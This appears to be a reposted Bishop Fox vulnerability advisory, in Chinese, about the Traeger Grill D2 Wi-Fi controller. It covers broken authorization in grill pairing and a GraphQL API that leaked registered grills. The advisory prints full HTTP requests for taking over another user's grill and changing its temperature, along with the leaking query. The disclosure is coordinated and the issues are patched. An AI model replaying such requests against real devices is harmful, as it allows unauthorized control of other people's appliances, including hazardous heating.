Traeger Grill D2 Wi-Fi控制器安全漏洞分析:授权控制不足与敏感信息泄露

本文详细分析了Traeger Grill D2 Wi-Fi控制器版本2.02.04中的安全漏洞,包括授权控制不足导致远程控制他人烤架,以及GraphQL API敏感信息泄露问题,并提供了修复建议和漏洞利用细节。

Traeger Grill D2 Wi-Fi控制器,版本2.02.04

以下文档描述了在Traeger Grill Wi-Fi控制器中发现的漏洞。此外,您可以在我们最新的博客中深入了解我们用于破解该产品的产品安全审查方法。

产品供应商

Traeger

产品描述

Traeger Grill D2 Wi-Fi控制器是一种嵌入式设备,允许用户通过移动设备远程连接和控制Traeger烤架。产品的官方网站是https://traeger.com。设备固件的最新版本是2.02.04,发布于2023年11月7日。

漏洞列表

在Traeger Grill Wi-Fi控制器中发现了两个漏洞和两个信息性问题:

  • 授权控制不足
  • 敏感信息泄露
  • 未加密固件
  • 暴露调试端口

受影响版本

版本2.02.04

解决方案

Traeger已告知Bishop Fox,已向受授权控制不足漏洞影响的烤架分发了更新的固件。Traeger烤架会自动安装固件更新,这意味着连接到互联网的烤架在本次披露发布时应该已经更新。Bishop Fox还建议在不使用时使用物理电源开关关闭烤架。

Traeger已禁用敏感信息泄露发现中讨论的GraphQL操作。Traeger客户无需采取任何行动。

授权控制不足

Bishop Fox员工发现了一个授权控制不足的实例,使Bishop Fox员工能够控制其他用户的烤架。具体来说,负责烤架注册的API缺乏足够的授权控制,以防止用户在攻击者获取烤架的48位标识符时注册其他用户的现有烤架。因此,攻击者可以利用此发现控制其他用户的烤架,并执行敏感操作,例如在烹饪周期中更改温度。

漏洞详情

  • 漏洞类型:授权控制不足
  • 访问向量:☒ 远程,☐ 本地,☐ 物理,☐ 上下文相关,☐ 其他(如果是其他,请指定)
  • 影响:☐ 代码执行,☐ 拒绝服务,☐ 权限提升,☐ 信息泄露,☒ 未经授权访问敏感操作
  • 安全风险:☐ 严重,☒ 高,☐ 中,☐ 低
  • 漏洞:CWE-284
  • CVSS基础分数:7.1
  • CVSS向量:CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H

攻击者必须知道目标烤架的48位标识符才能利用此漏洞。此标识符可以通过在配对过程中捕获网络流量(如附录A所述)或扫描烤架颗粒料斗内部贴有的“Hello, My Name Is”贴纸上的QR码来恢复。

为了利用此问题,Bishop Fox员工从Traeger API检索了一个配对令牌,随后使用它将该烤架注册到AWS IoT。为了演示目的,Bishop Fox员工在另一名员工无法访问的烤架上进行了此测试。

请求

1
2
3
4
5
6
POST /prod/pairing-sessions HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: COGNITO_TOKEN
…省略…

{"thingName":"XXXXXXXXF79B"}

响应

1
2
3
4
5
HTTP/2 200 OK
Content-Type: application/json
…省略…

{"pairingToken":" daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6","thingName":"XXXXXXXXF79B"}

如上所示,API返回了另一名顾问烤架的配对令牌,烤架ID为XXXXXXXXF79B。检索到配对令牌后,Bishop Fox员工向负责完成烤架注册到AWS IoT并将其与用户的Cognito身份关联的/certs API发出了后续请求。API接受自生成的证书签名请求,表明不需要嵌入式设备生成的请求。

请求

1
2
3
4
5
6
7
8
9
POST /certs HTTP/2
Host: durable-api.iot.traegergrills.io
Authorization: daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6
…省略…

{
 "thingName": "XXXXXXXXF79B",
 "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICqDCCAZACAQAwYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQowCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAIBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6EKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8iwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdYpBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaRz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6r+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQA+J4qAwpvur1AM2XPKSE7aOM1+E5Rbn7uSpjuROc5Q7O764kGNsptJaUgX8PrS4OW3O1n9sQOHbLF6Qya4ay2MUPApvekw5OwmaNY1YnTquhPlGy11Dad5smuyrEMN7Zl5GGH2F0/q3pa2Jt7cnLWj2gfFIMC8d3HxFNTPbf/ZhJnE1eElwtNS0DFkrTbgDRo3Smu+BjLljMFRVonbfZefBxrIEx8ghgVzyKMJe0w7C9e6Mt4so2OJTuh2MGZmRa1IaeSm0tND5JS/YdLcXm58O7b9M61uKMgOyerxbiTp/LyaHlUmoVIElcGGz2R/WHi5pLuHKsxscbqX//mo2lnS\n-----END CERTIFICATE REQUEST-----\n"
}

响应

1
2
3
4
5
HTTP/2 200 OK
Content-Type: application/json
…省略…

{"certificate":"-----BEGIN CERTIFICATE-----\nMIIDnzCCAoegAwIBAgIVAJjiNeO0iQb6uEBVsJWLGgPFSyHiMA0GCSqGSIb3DQEB\nCwUAME0xSzBJBgNVBAsMQkFtYXpvbiBXZWIgU2VydmljZXMgTz1BbWF6b24uY29t\nIEluYy4gTD1TZWF0dGxlIFNUPVdhc2hpbmd0b24gQz1VUzAeFw0yMzEyMjkyMTM5\nMTNaFw00OTEyMzEyMzU5NTlaMGMxCzAJBgNVBAYTAlVTMQswCQYDVQQIDAJIVzEK\nMAgGA1UEBwwBYTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMQow\nCAYDVQQLDAFkMQwwCgYDVQQDDANib2IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw\nggEKAoIBAQD7nsgOqLPR+1e0+uZ3fK5uZk626UkhWBYXkWDd2mmfIL0TllCZ892+\nhCis0sAVmkAiRAGNXzLInADLjqavrumDBatbrXWuLi2lUcxn2yQSCjDgAGGqAv5a\nfIsANGdx0VFsf5FTtrIQWpe5pu5IKvovbxn/5Nqhtj4cf2qr3GiabCrJE7fac+Rn\nWKQSmr/BRINmFutNSVxGOPjCMpQ21N2NAwHUn7WM2mJOzpeuHqhs/9Q0WsMOVTQG\nkc+U3SGGim2paYS6+6z8Grou+qZm4DS18zF54cEHoeJ8J9Dm3cFl/jjgUU5ijPL4\nOq/gKkUeLZGRV+6hlN617At0tvZQOPCPAgMBAAGjYDBeMB8GA1UdIwQYMBaAFDs+\nx7e9MVP5WVrTFdjYaMA6B3rxMB0GA1UdDgQWBBSMBnG/mK18RDmXDz4hZpHJYUhi\n0zAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOC\nAQEAQc5zXuxgl1/6Bj3Bq6l/mO7u+/kV97ntVyNoEEbg+QGneXe3Xp/Ti7Q66Vb5\nNNaJQrufWzIzbtvWLJpyHAVLw3Mrg9sp6Ity9snpJYy220U3IYUcrUu/H0nOfz//\nY0mez7kPTBbN/Iiq74L30+dhg1sRN8TLfZpgnQoaSSH3/Nj/mPALE/d57q2BPrym\n8KrqyIhtF7SI55FqrMGgS42R5TRJaiRn0wnDll41e/gNc8oLFicSYuhh2QegiYTN\nAQ9CeMBf3bKFIVkl6eTwd0qNyJClm8uKBhzChpOk9zOYWYwHhwnR44ny5SOmrD/+\nVz9wN4QqaKwOOhcObYJ5qqXReA==\n-----END CERTIFICATE-----\n"}

有趣的是,上述请求并未使烤架当前的mqtts连接失效,因为它仍然能够接收命令。注册烤架后,Bishop Fox员工观察到烤架现在出现在他们的移动应用程序中,并且似乎可以向其发出命令。例如,以下请求/响应对显示了关闭烤架的请求:

请求

1
2
3
4
5
6
7
8
POST /prod/things/XXXXXXXXF79B/commands HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [NEW_COGNITO_TOKEN]
…省略…

{
 "command": "17"
}

响应

1
2
3
4
5
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
…省略…

{}

发出命令后,另一名顾问确认烤架已进入关闭周期,如图1所示。

图1 - 烤架在接收远程命令后关闭

还可以向烤架发出其他命令,例如从待机状态唤醒烤架(如果物理电源开关仍处于通电位置)或在烹饪周期中调整温度。为了演示这一点,Bishop Fox员工设计了一个场景,其中另一名顾问正在为晚餐烧烤一块豆腐。

图2 - 调味良好的豆腐块准备烧烤

将豆腐块放在烤架上后,顾问点燃烤架并将温度设置为165华氏度。随后,Bishop Fox员工发出烤架命令将温度更改为500度。

请求

1
2
3
4
5
6
7
8
POST /prod/things/XXXXXXXXF79B/commands HTTP/2
Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com
Authorization: [NEW_COGNITO_TOKEN]
…省略…

{
 "command" : "11,500"
}

响应

1
2
3
4
5
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
…省略…

{}

此后,烤架接收到命令并将其目标温度调整为500度。不久后,温度达到500度,烤架开始冒烟。

图4 - 烤架达到500度并冒烟

豆腐没有被熏制成美味的餐点,而是变成了烧焦、不可食用的脆片。

图5 - 被毁的烧烤

有关Bishop Fox员工如何做出这些发现的详细说明,请参阅我们的Traeger博客文章。

敏感信息泄露

Bishop Fox员工发现,移动应用程序调用的GraphQL API包含一个ListGrills操作,该操作披露了当前在Traeger注册的每个烤架。这还包括由烤架所有者定义的设备friendlyNames。调用API需要API密钥(硬编码到移动应用程序中)以及AWS Cognito Json Web Token(JWT),可以通过注册和验证移动应用程序来检索。

作为对Bishop Fox漏洞报告的回应,Traeger完全禁用了ListGrills操作。它不再可访问。

漏洞详情

  • 漏洞类型:敏感信息泄露
  • 访问向量:☒ 远程,☐ 本地,☐ 物理,☐ 上下文相关,☐ 其他(如果是其他,请指定)
  • 影响:☐ 代码执行,☐ 拒绝服务,☐ 权限提升,☒ 信息泄露,☐ 其他(如果是其他,请指定)
  • 安全风险:☐ 严重,☐ 高,☒ 中,☐ 低
  • 漏洞:CWE-200
  • CVSS基础分数:4.3
  • CVSS向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

为了演示此问题,Bishop Fox员工发出以下POST请求与API交互:

请求

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: api.kube-gql.prod.traegergrills.io
…省略…
X-Api-Key: da2-[REDACTED API KEY]
Authorization: [REDACTED JWT]
…省略…

{"query":"query ListGrills($limit: Int) {\n  listGrills(limit: $limit) {\n    items {\n      createdAt\n      deviceTypeId\n      friendlyName\n      id\n      modelNumber\n      grillModel {\n        
modelNumber\n        name\n        description\n      }\n      userId\n      serialNumber\n      productId\n    }\n  }\n}","variables":{"limit":10},"operationName":"ListGrills"}

响应

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
X-Powered-By: Express
…省略…

{"data":{"listGrills":{"items":[{"createdAt":"2021-03-05T13:19:09.994Z","deviceTypeId":null,"friendlyName":"Stoked on 
Smoke","id":"55bf5cb5-264a-48d3-ab55-1b9b1d57c2a0","modelNumber":null,"grillModel":null,"userId":"4e672e78-8386-4b5a-bde9-49bd54742cb9","serialNumber":"Stoked on 
Smoke","productId":"481226c7-8c5d-411a-8449-aba9b480e465"}
…省略…

如上所示,上述查询可以返回在Traeger注册的每个烤架。但是,该信息不包括将移动应用程序与烤架配对所需的48位标识符。

诸如烤架之类的物联网设备的日益普及带来了新的安全挑战,使得全面的产品安全审查对于保护连接环境至关重要。这项研究不仅展示了Bishop Fox保护这些物联网设备免受新兴威胁的承诺,还加强了我们的全面服务产品,其中包括彻底的产品安全审查。

有关更多详细信息,我们建议阅读我们的博客,其中我们深入探讨了Bishop Fox审查Traeger Grill Wi-Fi控制器产品期间使用的方法。

致谢

Nick Cerne,Bishop Fox安全顾问III(ncerne@bishopfox.com)

时间线

  • 2023年12月25日:初始发现
  • 2024年1月17日:与供应商联系
  • 2024年3月19日:与供应商深入讨论
  • 2024年7月3日:漏洞公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计